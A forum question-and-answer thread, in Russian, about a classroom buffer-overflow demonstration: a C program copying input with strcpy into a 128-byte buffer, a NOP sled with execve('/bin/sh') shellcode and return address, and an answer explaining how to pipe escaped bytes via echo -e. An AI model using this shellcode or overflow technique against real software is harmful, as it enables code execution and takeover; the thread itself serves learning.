Хранение инструкций NOP в памяти, используя обозначение \ x - PullRequest
0 голосов
/ 31 мая 2018

Я пытаюсь добавить шелл-код во входные данные, чтобы продемонстрировать переполнение буфера, ведущее к перехвату управления.Вот программа;

int foo(char *mainbuff)
{
char foobuff[128];
strcpy(foobuff, mainbuff);
printf("foobuff new value is %s\n", foobuff);
return 0;
}


int main()
{
char mainbuff[256];
printf("Please enter value of mainbuff\n\n");
scanf("%s", mainbuff);
foo(mainbuff);
printf("Program is exitting normally!!\n\n\n");
return 0;
}

Согласно моему пониманию, когда я должен дать \x90 этот ввод моей программе c, он должен принять его и сохранить в памяти как один байт.Поэтому, когда я объединяю nops с шеллкодом и адресом, мой ввод выглядит как

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x10\xd2\xff\xff

Он должен храниться как отдельные байты в массивах, но компилятор добавляет еще один \, чтобы не экранировать их и не сохранять ихв стековой памяти как 0x3039785c, которая является шестнадцатеричной формой 09x\.Мой файл, в котором хранится эта строка, также не точно размером байтов, которые я храню.Я на 64-битной машине, но моя программа скомпилирована с использованием опции -m32 в gcc.

Так что здесь происходит?

1 Ответ

0 голосов
/ 31 мая 2018

Я должен передать \ x90 этот ввод моей программе c, он должен взять его и сохранить в памяти как один байт.

Кажется, вы вводите \x90 непосредственно в качестве ввода.Это приведет к тому, что программа (на самом деле, stdin) будет рассматривать его как 4 непрерывных символа 0x5c, 0x78, 0x39, 0x30, что приводит к порядку байтов в указанном вами 0x3039785c.

Вы можете попробовать echo -e "\x90\x90..." | ./a.out передатьшеллкод в стандартный ввод с помощью escape.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...